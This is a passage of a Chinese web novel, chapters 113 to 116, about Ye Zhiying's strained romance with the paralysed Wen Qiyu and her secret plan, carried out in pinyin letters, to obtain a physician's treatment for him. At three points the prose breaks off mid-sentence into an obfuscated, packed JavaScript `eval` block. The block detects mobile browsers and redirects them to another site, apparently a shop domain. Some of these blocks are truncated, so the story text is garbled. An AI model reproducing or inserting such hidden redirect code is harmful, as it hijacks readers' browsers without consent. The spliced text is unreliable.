“这么多!”虽然心里已经有了预期,但当真实的利润就摆在眼前时,叶之萤还是难免激动。 “是啊,真没想到沈氏布庄有朝一日也能挣这么多银子,叶小姐,都是多亏了你啊!”沈老板一边说,一边从柜台里取出了五张银票,推到她面前:“这是五百两银票,你收下。” “这……这太多了,我不能收!”她忙把银票又推了回去。 “一定要收!”沈老板把手直接按在银票上,不准她再推,“在你来之前,我这布庄每月利润不过五六十两,你来之后已经翻倍,如今又发明出这‘菱花裳’,让布庄生意更上一层楼,都能和福裕绸庄比一比了。这‘菱花裳’的款式是你想的,找人在全城传播、制造什么‘热度’也是你的主意,还有今日的‘新品发布会’,所到之人大多是因你而来,且若不是你说,我根本想不到卖东西还能用这样的手段,叶小姐,你可真是人才啊!” “别别别……”叶之萤急忙笑着摆手,心想夸就夸,这说辞可要不得。 “要不是你,也不会有‘菱花裳’,利润自然要分你一半,快拿着吧!” 话说到这份儿上了,叶之萤也不好再推辞,就收下了。虽然是五张纸,但拿在手上可真是沉甸甸的。 回去的路上,她假装生气,试探阿力:“你们家那个铁石心肠的少爷可真够狠的,说不来还真不来!” “你能不能别这么骂少爷?”阿力一脸不高兴。 “难道我骂错了吗?” “……”阿力憋着不吭声。这副欲言又止的样子,让叶之萤更加合理地怀疑那个黑影就是温其玉。 到家后,她直接回房洗澡更衣,本想拿腔作势等温其玉主动找来,结果实在太困,头刚沾上枕头就睡着了。 113. 愤怒的控诉 叶之萤是半夜被饿醒的。 醒来后,发现天还黑着,四下寂静,只有树影在月下孤独地立着,不知是什么时辰。 她披上外套,端着盏灯,走到门口正打算取掉门闩,才发现昨天睡得突然,根本没锁门。 太大意了!不过温其玉这宅子的安全措施做得还是很好的,应该也不会有歹人能进得来。 说起温其玉,他夜里睡觉一向很轻,还要起来翻几次身,不知道这会儿睡熟了没?叶之萤怕吵醒他,便用袖子遮住蜡烛的光,蹑手蹑脚摸黑溜进后院的厨房。 厨房里被收拾得干干净净,环顾一圈,空空如也,别说是她了,恐怕连老鼠来了都得饿着肚子原路返回……但灶台下面的柴火居然还没完全熄灭,黑乎乎的柴灰间亮着点点火星,像是刚做完饭不久。 “大半夜的谁做饭啊?”她嘀咕着离开了厨房,又蹑手蹑脚往回走。 刚穿过拱门,往右一拐,就看见一个矮矮的影子在她房门口。吓得她倒吸一口凉气,快速往后退了两步,差点扔了手里的烛台,披着的外衫也从身上滑到了地上,只剩一件吊带睡裙穿在身上。 再定睛一看,是温其玉。 是的,深更半夜,他一个人安静地坐在她房门口…… “你要吓死人啊!大半夜不睡觉在这儿坐着?”她压低了声音,与此同时没忍住打了个冷颤,虽然黎城四季如春,但入秋后日夜温差很大,夜里气温最多也只有十度的样子。 他打量她裸露在外正瑟瑟发抖的四肢,皱起了眉:“我听见你房里有动静,便出来瞧瞧。” 原来是这样……不过她真的很疑惑,难道他半夜不睡觉吗?那么轻的动静都能听见? 叶之萤捡起外套搭在胳膊上,不想承认自己是饿了,便撒谎道:“哦,半夜醒了睡不着,就到处转转。” “哦?”他又看了眼厨房的方向,笑道,“叶姑娘何时有了这半夜去厨房闲逛的雅兴?” 他还好意思调侃她?白天的火气一下子又冲上了头:“我爱去哪儿逛就去哪儿逛,你管得着吗?”说完,就走到门口,对挡了路的他冷冷道,“麻烦让一下。” 他自然是让不了。还在气头上的叶之萤伸出左脚便毫不客气把他身下的轮椅往旁边踹了一脚。其实她使得力气并不大,可轮椅向后滑了半米后,却不巧撞上了身后回廊的栏杆,同时发出“咚”的一声闷响。叶之萤的心里随即也“咯噔”一声,但她忍着没有回头,直接开门进了屋。 面前的桌上正摆着一些食物,有海鲜羹、水晶虾饺、蒸鸡爪、蒸山药…… “夜里不便准备旁的,只能弄些简单饭菜对付对付,快趁热吃吧。”他的声音听上去一点也没有因为刚才那一脚而生气。 叶之萤的身体定在原地很久,很多情绪一下子涌上心头。双脚犹豫着转向他的方向,转了一半又停了下来,嘴也犹豫着张开又闭上,既不甘心开口跟他说谢谢,又没了继续闹脾气的底气,就那样别扭着站在他面前,心别扭,嘴也别扭,身体更别扭。 “快进屋吧,外面冷。”他还是那么温柔,好像永远也不会生气一样。他斜坐在轮椅里,轮椅抵在身后的栏杆上,身上只穿了一件单衣。如今这个天气,叶之萤还在屋里穿短裙,他却已经要在入夜后生起炉子保暖了。 她的心一软,就再也硬不起了,把手中的烛台和衣服放在桌上,推他进了自己房中。 “我都踢你轮椅了,你为什么不生气?”她把轮椅停在餐桌前,关上房门,不等他回答,又委屈地抱怨起来,“你这样会显得一切都是我的错你知不知道?明明就是你过分,明明每次都是你先惹我生气的,为什么最后都变成好像是我欺负你一样?好像受委屈的人是你不是我!” 说完,就赌气背过身去。 温其玉没有说话,只是为她递来了桌上的长衫。叶之萤看着那长衫从他削瘦的指尖垂下来,随着那只抖动的手在空中不断晃动,一把抢过衣服,扔在了他脚边。 温其玉看了眼又被扔到地上的衣服,自知已无力捡起,只好作罢:“我知道你生我的气,你气是应该的,随你怎么发泄都可以。” “你……”他这么说,在叶之萤听起来就是“我知道我错了,你可以随意发泄,但我就不改”。 一股深深的无力感涌上心头,也不知道还能再跟他说什么了,干脆坐在他对面的凳子上吃起了饭。 屋里没点灯,只有刚才被她拿出去的那盏烛台还在桌上发着微弱的光,他的脸在光影下明暗交错,愈发俊朗不凡,看得她心里一阵烦躁,埋下头去把吃的东西猛往嘴里塞。 就这一会儿时间,外面的天已经开始蒙蒙泛白了。但气温还没上去。刚刚在温其玉面前装潇洒,把外搭甩在地上,又拉不下脸捡回来,只能假装不冷硬撑着,再时不时趁他不注意偷摸用手搓一搓两条冰凉的光腿,企图能靠摩擦生点儿热。这会儿叶之萤的身体已经完全凉了,冷得她鼻腔直发痒,实在没忍住连打两个喷嚏。 装逼失败。 “穿上衣裳吧!”他又劝她。 “我不冷!”她依旧嘴硬。 “昨日在‘浮云落雪’你便穿得单薄,期间还一直以团扇拟风,本就受了寒气,此时又是晨雾湿气最重之时,你可以发泄不满,但可否爱惜自己的身子?” “你管我呢,我……”叶之萤正准备抬杠,却突然反应过来他话中的重点,忙转了话锋追问道,“你怎么知道我昨天穿得单薄?你怎么知道昨天有人一直用团扇扇风?” 她俯下身来,缓缓靠近他明暗交错的脸颊,不等他回答,直接开口道:“坐在竹帘后面的人就是你。” 他没有否认,或许他原本就没打算隐瞒,只是昨日回来后自己一直没有给他坦白的机会而已。 叶之萤一下子就委屈地哭了:“既然去了为什么偷偷摸摸的?为什么不出来见我?你知不知道我一直在等你!我就知道帘子后面的人是你!生怕你走了,还一直在台上盯着那个竹帘,结果你还是走了,你知不知道我有多失望?温其玉,大大方方承认你对我的感情就这么难吗?你为什么就是不能让我开心呢?你很喜欢看我哭吗?” 温其玉却只是叹气,由着叶之萤像个疯子似的拍打他的身体。直到她渐渐安静下来,他才缓缓开口道:“你的手很凉,先把衣裳披着吧。” 叶之萤不再倔强,捡起衣服披在了身上,布料也是冷的,接触皮肤后又是一个冷颤…… 温其玉见她冷静了些,方才开口解释:“如今你在黎城名声大噪,没有必要主动制造非议,有些流言蜚语是可以回避的。” “我已经说过很多次了,我根本不在乎什么非议!我不在乎!” “可我不想拖累你。” “什么拖累不拖累的?不是你说的吗,我们只是朋友而已,难道我和谁交朋友也是什么值得旁人指指点点的事吗?黎城百姓这么闲吗?到底是你多虑了,还是在你心里,其实早就没把我当朋友了?” “我……不是的。”温其玉被问得一时语塞,没头没脑地回了这么一句。 “不是什么?”叶之萤的目光咄咄逼人。 “没什么。”他又恢复了镇定,“没事的话,我先回房了。” 面对叶之萤的逼问,他选择了继续逃避。 “有事!”叶之萤脱口而出。 “何事?” 她突然一把抱住了他。修长的双臂拢在一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她笑得眼泪都流了出来,又撑着轮椅扶手站了起来,没有再说一句话,默默推他回了房,结束了这场可笑的闹剧,就在她即将迈出房门时,院中一颗其貌不扬的、不知名的大树第一次吸引了她的注意,她不禁停下了脚步。 这棵树太普通了,普通到叶之萤来这里快一年了,才第一次注意到它,普通到她甚至不知道它是什么品种。它既不像腊梅、海棠那样开花,也不像桃树、梨树那样结果,更不像银杏和枫树那样随着不同的季节变换不同的颜色,又没有松树、柳树那样个性而不落俗套的枝叶。它只有一片浓密的绿色,而这院中最不缺的就是绿色,深绿、浅绿、黄绿、蓝绿,层次分明,各有韵味,它偏偏又是最普通的绿,不深不浅,不黄不蓝,普通到她的目光从来不曾停驻在它身上。它从不想着博人眼球,也从不想着主动讨好。 她的脑子里闪过了一些以前从未有过的念头,突然间就明白温其玉对她的指责好笑在哪了。 “既然不想我放肆,那为什么非要去‘浮云落雪’看我?为什么非要半夜送饭给我?为什么非要做那么多没有必要的事情来关心我、吸引我?如果你安静一些,就像这棵树一样,不要那么优秀,不要那么显眼,不要关心我,不要吸引我,不要多此一举,不要无事献殷勤,我又怎么会越陷越深?明明是你先做了逾越底线的事,却指责我行为出格,你可以肆无忌惮地为我付出,却不允许我在感受到你的付出后内心有一点点波澜,你可以忍不住爱我,却不准我忍不住爱你,温其玉,你好霸道!你……” 本想放话说若是不想让她再放肆,就别再对她好了,但残存的理智让她在最后关头闭上了嘴。即使已经到了这样的时刻,她仍然没出息地害怕温其玉把这些气话当了真,以后真的不再对她好。 温其玉坐在轮椅上背对着她,叶之萤看到他的头缓缓向她的方向动了一下,但很快又转了回去,薄弱的背肌艰难地支撑着身姿的挺拔,背影却难以自控地晃动着。 他似乎做了一些决定。 叶之萤有些慌了。 114. 秘密计划 当天晚上,荣祥来找叶之萤,这让她大感意外。 荣祥告诉她,温其玉昨日原本是不打算去“浮云落雪”的,他不想让黎城人看到她与他在一起,流传出一些对她不善的言论。他本就深入简出,黎城人对他的情况知之甚少。即使知道她如今住在温宅,猜测她与温宅主人关系匪浅,但只要他不主动现身,就不会有人知道和她关系匪浅的温宅公子其实是个全身瘫痪之人。 但是那天早晨,眼看她离开,温其玉在屋里始终心不在焉,茶饭不饷,最终还是没忍住去了。 并且从荣祥口中叶之萤才得知,原来“浮云落雪”除了正门之外,还有一个鲜为人知的侧门,就在楼的背面。他们便是从侧门进楼的,又恰好赶在表演开始后、大家都聚精会神被表演所吸引之时,所以才能看似神不知鬼不觉地出现在那儿。他不仅看完了她的所有表演,还准备了她最爱吃的糕点,命厨房如法炮制了她原创的玫瑰芋泥奶茶,本想给她个惊喜,结果眼看她被宾客团团围住,根本抽不开身,无奈只好作罢,又赶在宾客们还没退场之时悄悄离开。 “所以他根本没想瞒着我,只是因为我太忙了才没有见到面?” “是啊,少爷见你忙了一整日,回来后又吩咐厨房做了一桌好吃的饭菜等你回来吃,结果好不容易把你等回来了,你却直接回房了,再也没出来……”荣祥的声音越来越失望。 “我……我不知道啊……”假如她知道他做的这一切,又怎么会辜负他的心意,她越想越后悔,“哎呀,那你们怎么不过来叫我呢?” “我们来过的。”荣祥道,“昨晚少爷等了很久,你都没过去,便让我推着他过来看看什么情况,发现门虚掩着,你已经睡着了,少爷说你太辛苦,肯定累坏了,让我帮你把门关好就走了。” 叶之萤听到这里才明白,原来昨天失望的不只她自己,温其玉也同样经历了失望的一天。可是他却说她应该生气,还让她随便发泄…… 就连那些温热的饭菜,也是他怕她夜里饿,特意吩咐下人在厨房的炉子上用文火热着,直到柴火燃尽了才让荣祥端到他房里,在他屋里的炉子上继续温着。 送走荣祥后,叶之萤脑海中凌乱地出现了很多画面,无一例外全是温其玉。 他在家里心神不宁,连荣祥和他说话他都听不见,终于决定去“浮云落雪”看她; 他让下人大包小包准备了一堆她爱吃的东西带着去找她,在竹帘后面关注着她的一举一动,却始终等不到她空闲,只能失落地离开; 他终于听到她回家的脚步声,满怀期待地等她进屋,可她疲惫的脚步却最终没有靠近他的房间,只剩他一人面对一桌子的饭菜发呆…… 她越想越后悔,躺在床上唉声叹气,恨不得时间能倒流回去。 她和温其玉明明那么相爱,可他们的感情却走入了一条死胡同,无论她怎么努力都无法再进一步。 说到底,这一切都是因为温其玉的身体!她想,假如能让他快点好起来,他就不会再拒绝自己,他们就再也不必如现在这般相互折磨了。 第二天一早,阿力刚值完夜从温其玉房里出来,就碰到了鬼鬼祟祟准备出门的叶之萤。而她之所以可以起这么早,是因为昨夜根本就没睡。 “叶小姐,怎么这么早?”阿力看到她,诧异得就跟见了鬼似的,忙抬头看了眼刚从东方露出头的朝阳,确定太阳没打西边升起,才又问她,“你是要出门吗?” “嘘!嘘!嘘!”叶之萤忙示意他小点声,可已经晚了,这三句话,屋里的人肯定已经听得一清二楚了。 “哦,那天和杨宗明约好了,去他的茶园看看。”只好实话实说。 “这么早就去?”阿力有些吃惊,又对她说,“那你稍等,我换身衣裳和你一起去。” “不用不用!”叶之萤忙拦住他,“你一夜没睡,回房休息吧,杨宗明在门外等我呢,我跟他走,你就放心吧。” 阿力却面露为难,又示意她稍等片刻,返回屋里请示某人,过了一会儿,显然是得了某人的令,出来对她说:“杨公子尚不能完全信任,我陪你一起去茶园。” 叶之萤无语,只好带着阿力一起去。 杨家茶园的规模着实壮观,但叶之萤今日之所以与杨宗明相约,却并不是来欣赏茶园的,而是为了另一桩事。 此时,二人走在茶园的小路上,阿力被他们故意甩在了身后。 “发布会那天我给你说的那事,你查得怎么样了?”叶之萤悄声问道。 “已派人去查了,有消息我会第一时间通知你。”杨宗明道,“你把他的情况都详细写下来了吗?” 叶之萤从衣服里掏出一封信,扭头看了眼阿力,趁其不备迅速塞到了杨宗明怀里:“这是我写的,你回去再看,上面详细记录了温其玉的所有情况,因何中毒、中毒症状、身体各部位的肌肉状况、治疗方案、康复训练内容、恢复速度,看了这个,至少能让神医对他的情况了解八九分。温其玉现在的身体状况肯定是不能去源州的,但如果神医愿意给我们提供一些治疗方案的话,我们按他的方案让林大夫在这里实施应该也可以吧?这个信得麻烦你用毛笔翻译、誊抄一遍,让人带去给神医,如果有看不懂的记得再来问我。” 杨宗明摸了摸胸前的信封,低头在她耳边道:“你准备得还真是周到。不过,夜莺,不是我说,温公子的势力也不小,他肯定也会派人去找这位神医的,你又何必多此一举?” “他确实很厉害,但是找神医,你肯定比他厉害啊!”叶之萤使劲拍了拍他的背恭维他。 杨家不光经营茶叶生意,还经营药材生意,和各地的名医向来都有着密切的往来,手中掌握着最详细的邺国名医名单。叶之萤心想,源州的那位神医,若是由杨宗明帮忙找的话,就再合适不过了。 杨宗明拍着胸脯跟她保证:“你放心,此事包在我身上!” 叶之萤又从怀里掏出五张银票塞到他手里:“神医不可能平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991737|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白无故给我们帮忙的,这是五百两银票,你派个机灵点儿的人去,确定是我们要找的神医后,让他连银票带信一块儿交给神医。” 杨宗明抽出手,不接她的钱:“我怎么能要你的钱呢?” 叶之萤悄悄往身后瞅了一眼,示意他别再躲:“别推脱了,快收下!” 杨宗明怕动静太大被身后的阿力看出异样,只好先收下,想着日后找个机会再还给她。 第二日一早,杨宗明又急急忙忙来温宅找叶之萤。 “夜莺,你给我的信昨晚被人偷了!”还不等进了宅子大门,他就在门外嚷嚷起来。 “啊?谁偷那玩意儿干嘛呀?”二人正站在门口发愁,叶之萤无意间瞥了眼身侧假装忙碌的阿力,突然就明白了。 “没事,你先回去吧。”又对杨宗明做了几个口型,“按计划行事。” 杨宗明走后,叶之萤和阿力也进了宅子,阿力始终低着头,完全没有往日的活泼。叶之萤也一直没有说话。 直到经过温其玉房门口时,她突然停下脚步,转身问阿力:“阿力,昨天咱们一起去的茶园,当时我交给杨宗明一封信,他可能是掉在半路了,你有没有捡到?” “我……没有。”阿力心虚地摇头。 “哎呀,那可遭了!”她两手一拍,唉声叹气。 “怎么?莫非那信里的东西很重要?”阿力试探着问她。 叶之萤扭头对着门里大声喊道:“信里的内容你们不是都看了吗?重不重要难道你们还不知道?” 阿力:…… 叶之萤冲他一挑眉,一脸得意地回了房。 温其玉此时在屋里是接连叹气。他实在是想不通,怎么就半道儿又杀出了个杨宗明? 枕边那封信是他昨晚派人去杨府偷出来的。他没有别的心思,只是听阿力说二人昨日在茶园神神秘秘,像是在密谋什么事,阿力什么也没听到,但是偷看到叶之萤给了杨宗明一个信封,还有五百两银票。而那五百两银票是这次“菱花裳”大卖沈老板给她的所有分红,几乎是她来这里挣到的全部身家,她全给了杨宗明! 那杨宗明的为人他还不了解,听说此事后,他怕叶之萤被骗,才做了这不太坦荡的事。可打开信一看,才发现那两页纸虽然写得满满的,却全是他看不懂的符号! 叶之萤在故意防他! 可他才是那个与她朝夕相处、为她掏心掏肺、疼她爱她之人啊! 以往,叶之萤有什么事都是先跑来这里,绘声绘色讲给他听,有时还会问他意见,不管他给了什么建议,都不忘对他进行一番天花烂坠的夸奖,就是她说的,彩虹……屁?再赖在他床边,赶也赶不走。 可如今,她居然为了一个刚认识几天的男子开始防他! 是因为自己那日的绝情让她彻底伤了心吗?她那日撂下狠话,让自己不要再对她好了,是她的真心话吗? 院中的柿子早就熟透了,可温其玉的心中却是一片酸涩。 115. 加密信件 之后的一段时间,叶之萤和杨宗明几乎日日联系,有时约在茶园,有时是杨宗明登门拜访。杨宗明每每过来,都提着叶之萤爱吃的饭菜,二人在叶之萤房里似乎总有聊不完的话,穿墙而过的阵阵笑声让一墙之隔的温其玉几近崩溃。 可即使见面已经如此频繁了,二人似乎还是聊不够,往往在临别时,还要再给对方手中塞一封书信以寄相思。温其玉又命人偷了三封回来,信的内容有长有短,但全都是他不认识的字符。 他甚至怀疑是不是这个杨宗明给叶之萤下了什么迷药,才让她对他如此信任,于是又派人盯紧杨宗明的一举一动,可得到的消息是杨宗明每日除了料理茶园的生意外,就是打理家中的药材生意,并没有在他身上查到什么可疑之事。 与在背地里为叶之萤操碎了心截然相反的是,温其玉面对叶之萤本人时,态度却极为冷淡,只因她那日提醒他,不要再主动招惹她。 而出于“礼尚往来”的传统,叶之萤对他同样不冷不热,不咸不淡。 转眼到了十一月中旬,一向四季如春的黎城也不知怎么了,突然气温骤降,日日不见阳光,气候变得又阴又潮。某天夜里叶之萤被冻醒,往屋外一看,园子里竟已是白茫茫一片。 这场大雪惊扰了原本平静的小城,男女老少纷纷跑出家门,街上打雪仗的、堆雪人的、滑冰的、在雪里打滚的、甚至伸舌头品尝滋味的,干什么的都有,大家都用自己的方式激动地迎接着这自出生起便不曾见过的景象。 黎城一下子热闹起来了,比迎接“花神娘娘”还热闹。每个人都对这冰雪世界爱到了骨子里,除了一个人…… 温其玉这几日深受潮湿寒气的折磨,全身疼得下不了床,连胳膊都抬不起来,双腿更是日日抽筋。他又回到了叶之萤最初见他时的样子,缠绵病榻不得动弹,连吃饭都要人喂。他的屋子里热气腾腾,每次进去几分钟就热得叶之萤一头汗,但即使这样,也丝毫缓解不了他的痛苦。 这天午后,叶之萤闲得无聊,就在院子里玩雪,树上、石头上、假山上堆积的原本整齐松软的白雪被她挖得坑坑洼洼,地上的雪也被她踩得乱七八糟,全是重重叠叠的脚印,左边建了一堆“冰山”,右边又修了一条“冰道”。阿力从温其玉房里出来时,看到这情景打趣说:“好好的雪景都被你破坏了!” “你懂什么!这才有人气儿!”说着,她随手在面前的石景上挖了一坨雪,团了个瓷实的雪球朝阿力砸去,他褐色的衣服上瞬间绽起一朵白花。 阿力也不甘示弱,把手中的碗盘暂且放在一旁,跳过回廊的栏杆就来到园中和她打起了雪仗。园中的雪景彻底被二人摧毁了,肆意的笑声和喊声回荡在整个温宅,也飘进了那扇门和窗…… 只是阿力还有工作要做,没玩多久就先走了,又只剩叶之萤一人孤单地在园中乱逛。她一时兴起,又堆起了雪人。 叶之萤堆了一个小小的雪人,只比巴掌大一点儿,是按《冰雪奇缘》里雪宝的样子堆的,用指甲刻好嘴的弧线后,又在地上挑了一片扁长的树皮插在鼻子处,把它捧在手上,它正咧着嘴巴、呲着一颗大板牙冲她笑。 她越看越觉得自己手艺精湛,突然就很想跟温其玉分享。 但她和他近一个月都没怎么说话了,除了偶尔的“屋里冷吗?冷得话让阿力帮你生个暖炉。”“好的,谢谢。” 或是“明日我用药,我让人把饭直接送你房里。”“噢,好。” 就再没说过其他话了,连眼神的接触都没有,又怎么能突然跟他有这么亲密的举动呢? 但她又实在想给他看看,想让他在对抗身体痛苦之余也能稍微开心一下,于是把“雪宝”悄悄放在他屋子的木窗外面,猛敲了两下窗户,又迅速躲在墙后。过了一会儿,她偷偷探出一点头透过窗户向屋里看去,发现他正侧着头,神情专注地盯着她的“雪宝”看,眼角露出这些日子难得一见的笑意。 这雪一连下了五日,虽然已在温其玉房中做足了保暖措施,但他还是在雪停前一晚病倒了。 阿力来敲她的门时,她还没睡着,一听见急促的敲门声,心里就有了不好的预感。跑到隔壁一看,温其玉毫无生气地躺在床上,面颊潮红,全身滚烫,烧得昏天暗地,神志不清。 她在床前守了他整夜,已经数不清喂他喝了多少热水,用温水为他擦了多少次身,只记得一盆又一盆热水不停地换,她的手一直浸在盆中,连手指的皮都泡皱了。 有一阵子,他热得全身冒汗,叶之萤就帮他掀开被子,再用干帕子及时擦掉身上的虚汗。但有一阵子,他又冷得不住发抖,即使把暖炉拿到床边,再盖上厚被子也缓解不了。眼看他的四肢已经开始轻微地抽搐,大家怕他病情加重会危及生命,却又都束手无策,无奈之下,叶之萤只好脱鞋上了床,整个人趴在被子上为他取暖,又用四肢紧紧压住被子边缘,把被子压得密不透风。 这个姿势下,她的头正好枕在他胸口上面和脖子交界的地方,趴在他身上,又闻到了他身上特有的味道,清新而又带些苦涩,只是今晚,苦涩的味道几乎完全把那股清新掩盖了。 他烧得真厉害啊!身体里的热气透过厚厚的被子扑了上来,连被面都是热的,时间久了,叶之萤的身体和被子接触的区域也是一片潮热。 她无聊地从下往上盯着他的下巴、鼻孔、睫毛看,看着看着,就迷迷糊糊睡着了。再醒来时,天已经蒙蒙亮了,一睁开眼,就看见身下的人正侧着头看她。 她愣了两秒钟,急忙撑起身体跟他解释,省得他又要说她不自重:“你昨晚一直说冷,我们给你盖了厚被子、生了火炉都不顶用,没办法我才……” “谢谢!”他没有责备她,反而向她道谢,许是昨晚的事还有印象。 “不……不客气!”叶之萤手肘一松,又厚着脸皮趴回了他身上。 “你……”这下温其玉说什么都不能忍了,他张开嘴巴,正思考着该怎么说她,她又开口了。 “我可能是这一个姿势太久,脖子落枕了,后背的筋也扭住了,自己起不来,得等阿力他们来扶我一下……”她一边解释,一边继续用手肘撑着床,尽量把自己的身体撑起来,生怕他误会自己,“我这次真不是故意吃你豆腐的。” 眼前的人重新闭上了口。 可是这样撑着实在难受,没多久她就坚持不住了,胳膊抖得跟筛子似的。 “阿力他们干什么去了?”她呲牙咧嘴问身下的人。 “荣祥去请林大夫了,阿力去厨房烧水,你……要是实在累的话,就别撑着了。”他的目光看向别处,明显是迫于无奈才开的口。 叶之萤对他这勉为其难的态度很不服气,犟脾气又上来了,白了他一眼,为了证明自己是情非得已,继续硬撑着。 又过了一会儿,她实在撑不住了,心想这么干等着也不是办法,就变换各种角度想自己起来,但是脖子和后腰只要一扭到某个位置就疼得不行,完全使不上力。 “你还是趴在我身上吧。”身下的人又开了口,这次语气不仅不为难了,还带着祈求,好像生怕她不趴似的。 这下叶之萤心里终于舒坦了,偷偷抿嘴一笑,才松了手,光明正大地趴到了他胸前,还不忘强调一句: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991738|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是你非让我趴的,不是我要趴的。” …… “嗯。”身下的人无语。 “压得你难受吗?”叶之萤有点良心发现,但发现得不多。 温其玉心想,都压好几个时辰了,再难受也不差这一会儿,便简单回答:“无碍。” “你感觉怎么样?好点了吗?”叶之萤开始有一搭没一搭地和他聊天。 “好多了。” “还觉得冷吗?” “不冷了。” “饿不饿?” “有一点儿。” “……我也有一点儿。” 眼看聊天内容越来越尴尬,阿力终于端着热水进门来了。等不及他把木盆放下,叶之萤就发出了求救信号:“阿力,快过来扶我一把!” 终于,在她一浪高过一浪杀猪般的嚎叫声以及温其玉一下重过一下的皱眉和叹气中,阿力艰难把她从温其玉身上拽了起来。 她站在床边,脖子不能动,腰也不能动,僵硬得像个木乃伊。身上的衣服满是褶皱。形象全无。 正打算回房,又碰到荣祥带着林大夫进门,温其玉立马请林大夫先帮她检查脖子和腰。 “叶小姐的身体并无大碍,只需用手法将扭住的筋络归位就能恢复如常。”林大夫检查后后如是说。 而此时,叶之萤仍然直挺挺地站在床边。 “怎么归位?”她听着林大夫的语气好像很轻松的样子,便放松了警惕由他来为自己治疗。 随后…… 整个温宅都充满了她尖叫求饶的声音! 她最终还是不顾众人的劝说强行挣脱了林大夫的“魔爪”,当了五天的“僵尸”…… 五日之后,叶之萤的身体又重新恢复了灵活,温其玉的病也好得七七八八,那次被动的亲密接触并没有让二人关系有所缓和,反而越来越生疏。 叶之萤倔强地用实际行动向温其玉证明,那天晚上的行为确实只是情非得已,并非她故意为之。而温其玉也没有再主动找过她,甚至连一日三餐都直接让人送到她房里,这样一来,她好像再也没理由去他房里了。 直到进入了腊月,天气愈发阴冷,温其玉本就不爽的身子在杨宗明又一次登门拜访后,更加不爽了。 那日,阿力来报,杨宗明来温宅找叶之萤,手里还拿着一封信,二人在叶之萤房里说了好一阵子悄悄话,他还听到叶之萤激动地大叫了一声。 又是信!他们到底在做什么? 烦乱间,他听到从隔壁房门口传来了脚步声,脚步声越来越近,最终停到了阿力房门口。 她找阿力做什么? 他竖起耳朵听,二人似乎在说什么,可声音太小,他一个字都听不清。这一刻,他无比痛恨自己为什么动弹不了,如果自己是健康的,这时就可以走到门口听个清楚,就可以亲自出马调查杨宗明。凭他的身手和谋略,也不至于要依靠那群没用的影子侍卫,查了一个月什么也查不出来! 正生着闷气,阿力进来了,一脸惶惶不说,手里还拿着一封信。 “说!”他气不打一处来。 “少爷,叶小姐说,这是杨宗明给她的信,与其让您费心命人去她房里……偷,不如她主动拿过来给您看。” 阿力走到床边,一边说一边观察床上人的表情,生怕哪个字触发了致命的机关,招来“杀身之祸”。 温其玉斜睨一眼那信,还是一堆看不懂的字符。 “阿力,把信全部还回去,往后不用再……拿了。” 罢了,她既然不想让自己知道,那便算了吧! 116. 重大决定 很快,叶之萤就收到了阿力退回的五封信,这五封信全是用拼音写的,也是她和陈阳之间的加密语言。 第一封是她写给陈阳的,上面详细记录了温其玉的身体情况。 第二、三、四封都是他们乱写的,包括他们这段时间故意经常见面,都是为了扰乱温其玉的判断,让他误以为他们之间有不正常关系,以此掩盖他们的真实目的。 而第五封信,也就是她刚刚主动让阿力交给温其玉的那一封,是源州那位神医的回信。 杨宗明派出去的人不负所望找到了神医,收到神医的回信后,他将那封信又用拼音誊抄了一遍,才亲自跑来交给了她。 刚刚二人在房里,就是在说这件事。 “夜莺,我们运气真好,‘妙手神针’老先生年事已高,正欲封针隐居,恰逢我派的人找到他的住所,老先生前年为蒙州来的人看过病,从那人口中听说过关于大将军的一些流言,看了你写的信,便猜出信中所提之人乃大将军,他对大将军万分敬重,自愿将毕生所学交由我们,还特意将详细的治疗方案写下,与书一同奉上。还有那五百两银票,老先生执意不肯收,又退回来了。”杨宗明从怀中取出了那五张银票,退给了叶之萤。 “这怎么行呢?怎么能白拿老先生的东西,那可是老先生用一生总结出来的医学宝典啊!”叶之萤心生歉意。 “这你不用操心,杨家做药材生意,日后凡是神医用得上的药材,都不在话下。你先打开信看看吧。”听杨宗明的语气,似乎此事还有问题。 叶之萤赶紧打开信看了起来,信上提到治疗温其玉的痹症除了要找准施针的穴位和力度以外,还有一样不可或缺的东西——“紫藤”。 “若单用腥月草,只可舒筋活络,须同时服用紫藤花露,方可彻底打通脉络,补气生力。” “紫藤花露?”她正要问杨宗明这紫藤花露要怎么得到,就看到底下已经写得明明白白。 “择树龄十岁以上之紫藤,采其花,晒干,辅以未经浊气沾染之无根水文火煮沸,晾凉入罐泡之,五日后取出,弃其花,饮其汁,再燃腥月草熏之,事半功倍也。” 这树龄十年以上的紫藤花倒不难寻,毕竟他们就住在花城,虽然隆冬腊月,但晒干的花肯定有花农备着。只是这未经浊气沾染的无根之水…… 无根之水叶之萤倒是明白,就是雨水、雪水、露水,但怎样才算没被浊气污染呢?浊气又是什么?她把信翻来覆去地看,也没找到答案。 “什么叫没被浊气污染呢?”她请教杨宗明。 “就是没有被这世间的污浊之气沾染过。” 跟没解释一样…… “那这世间的污浊之气又是什么呢?”她继续追问。 